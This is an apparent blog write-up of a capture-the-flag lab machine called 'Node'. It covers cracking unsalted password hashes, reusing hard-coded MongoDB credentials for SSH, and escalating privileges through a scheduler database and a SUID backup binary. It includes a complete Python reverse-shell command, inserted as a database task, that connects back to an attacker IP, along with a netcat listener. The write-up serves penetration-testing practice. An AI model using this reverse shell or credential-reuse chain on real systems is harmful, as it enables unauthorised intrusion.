The OpenSSH version that is running on port 22 is not associated with any critical vulnerabilities, so it’s unlikely that we gain initial access through this port, unless we find credentials.
Ports 3000 is running a web server, so we’ll perform our standard enumeration techniques on it.
We get back the above results giving us what seems to be usernames and hashed passwords. As stated with the “is-admin” flag, none of them have admin functionality.
Similarly, the /admin.js script contains the following code.
When you visit the /api/admin/backup link, you get an “authenticated: false” error. This link is restricted but at least we know that the admin account has a backup file in it.
The /profile.js script contains the following code.
Use a password cracking tool in order to crack as many passwords as possible. For this blog, I used an online tool since it’s faster than my local machine.
We get back the following result showing that it cracked 3/4 passwords.
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af sha256 manchester
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240 sha256 spongebob
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73 sha256 snowflake
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0 Unknown Not found.
One thing to note here is none of the passwords are salted. This can be verified using the following command.
This obviously considerably decreased the amount of time it would have taken the tool to crack all the passwords. Let’s login with the admin’s account myP14ceAdm1nAcc0uNT/manchester.
┌──(kali💀kali)-[~/Downloads]
└─$ file myplace-decoded.backup
myplace-decoded.backup: Zip archive data, at least v1.0 to extract, compression method=store
Now it’s a matter of going through the files to see if there are hard coded credentials, exploitable vulnerabilities, use of vulnerable dependencies, etc. While reviewing the files, you’ll see hard coded mongodb credentials in the app.js file.
We found a username ‘mark’ and a password ‘5AYRft73VtFpc84k’ to connect to mongodb locally. We also see a backup_key which we’re not sure where it’s used, but we’ll make note of it.
Shell as mark
Most user’s reuse passwords, so let’s use the password we found to SSH into mark’s account.
SSH:
ssh mark@10.10.10.58
5AYRft73VtFpc84k
mark@node:~$ whoami
mark
It worked! Let’s locate the user.txt flag and view it’s contents.
We need to either escalate our privileges to tom or root in order to view the flag. Let’s transfer the linpeas script from our attack machine to the target machine. In the attack machine, start up a server in the same directory that the script resides in.
The networking section tells us that mongodb is listening locally on port 27017. We can connect to it because we found hardcoded credentials in the app.js file. The services section tells us that there is a process compiling the app.js file that is being run by Tom. Since we are trying to escalate our privileges to Toms’, let’s investigate this file.
We only have permissions to read the file, so we can’t simply include a reverse shell in there. Let’s view the file, maybe we can exploit it in another way.
If you’re like me and you’re not too familiar with the mongodb structure, this might help
We login using mark’s credentials and access the scheduler database. The set interval function seems to be checking for documents (equivalent to rows) in the tasks collection (equivalent to tables). For each document it executes the cmd field. Since we do have access to the database, we can add a document that contains a reverse shell as the cmd value to escalate privileges. Let’s connect to the database.
mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
Let’s run a few commands to learn more about the database.
> db
scheduler
> show collections
tasks
> db.tasks.find()
The tasks collection does not contain any documents. Let’s add one that sends a reverse shell back to our attack machine.
# insert document that contains a reverse shell
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.16.4\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
# double check that the document got added properly.
db.tasks.find()
Set up a listener to receive the reverse shell.
┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 1234
Wait for the scheduled task to run.
┌──(kali💀kali)-[~/Desktop]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.58] 51704
/bin/sh: 0: can't access tty; job control turned off
$ whoami
tom
We get a shell! Let’s upgrade it to a better shell.
When gaining access to a second user in a CTF machine, it’s always useful to think about what files can be accesses/run now that couldn’t before. One way to approach that is to look at the groups associated with the new user:
tom@node:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)
sudo is the first to jump out, but trying to run sudo prompts for tom’s password, which I don’t have:
adm means that I can access all the logs, and that’s worth checking out, but admin is more interesting. It’s group id (gid) is above 1000, which means it’s a group created by an admin instead of by the OS, which means it’s custom. Looking for files with this group, there’s only one:
It’s also a SUID binary owned by root, which means it runs as root. Interestingly, this binary is called from /var/www/myplace/app.js
It calls backup -q backup_key __dirname, where __dirname is the current directory. The binary is a 32-bit ELF:
tom@node:/tmp$ file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
Dynamic Analysis:
Before pulling this binary back and opening in in Ghidra, I’ll try running it on Node. It returns without any output:
tom@node:~$ backup
I tried giving it arguments to see if there was a check at the front looking for a certain number, and on three, it output something:
tom@node:/tmp$ backup a a a
This makes sense with how this binary is called from app.js above. It’s complaining about needing a magic word.
Token Check:
I’ll run that again with ltrace, and change the three args so that they are different (to better track which is which), so ltrace a b c. I’ll walk through the output in chunks. First it checks the effective user id, and then sets the uid to 0, root. Then it does a string comparison between “a” (first arg input) and “-q”:
/etc/myplace/keys shows the three 64-characters hashes and a blank line just as observed with ltrace:
If I put one of those hashes into the second argument, it runs past the access token check:
tom@node:/tmp$ backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 c
[+] Validated access token
[+] Starting archiving c
[!] The target path doesn't exist
Interestingly, it will also work with an empty string as the token arg (because there’s an empty line in the keys file):
tom@node:/tmp$ backup a '' c
Path:
With a valid token, it says it’s “archiving c”, and then complains that the path doesn’t exist. I’ll try replacing “c” with a path. I’ll create a single file in /dev/shm, and then pass that path to backup:
tom@node:/tmp$ cd /dev/shm
tom@node:/dev/shm$ echo "test" > exodus
tom@node:/dev/shm$ backup a "" /dev/shm/
[+] Validated access token
[+] Starting archiving /dev/shm/
[+] Finished! Encoded backup is below:
UEsDBAoAAAAAAIk5IlgAAAAAAAAAAAAAAAAIABwAZGV2L3NobS9VVAkAA1K3k2V+t5NldXgLAAEEAAAAAAQAAAAAUEsDBAoACQAAAIk5IljGNbk7EQAAAAUAAAAOABwAZGV2L3NobS9leG9kdXNVVAkAA1K3k2Vct5NldXgLAAEE6AMAAAToAwAAGEuEW8O4yJnyFTBD1d1RpBlQSwcIxjW5OxEAAAAFAAAAUEsBAh4DCgAAAAAAiTkiWAAAAAAAAAAAAAAAAAgAGAAAAAAAAAAQAP9DAAAAAGRldi9zaG0vVVQFAANSt5NldXgLAAEEAAAAAAQAAAAAUEsBAh4DCgAJAAAAiTkiWMY1uTsRAAAABQAAAA4AGAAAAAAAAQAAAKSBQgAAAGRldi9zaG0vZXhvZHVzVVQFAANSt5NldXgLAAEE6AMAAAToAwAAUEsFBgAAAAACAAIAogAAAKsAAAAAAA==
If I change “a” to “-q”, it will just print the base64: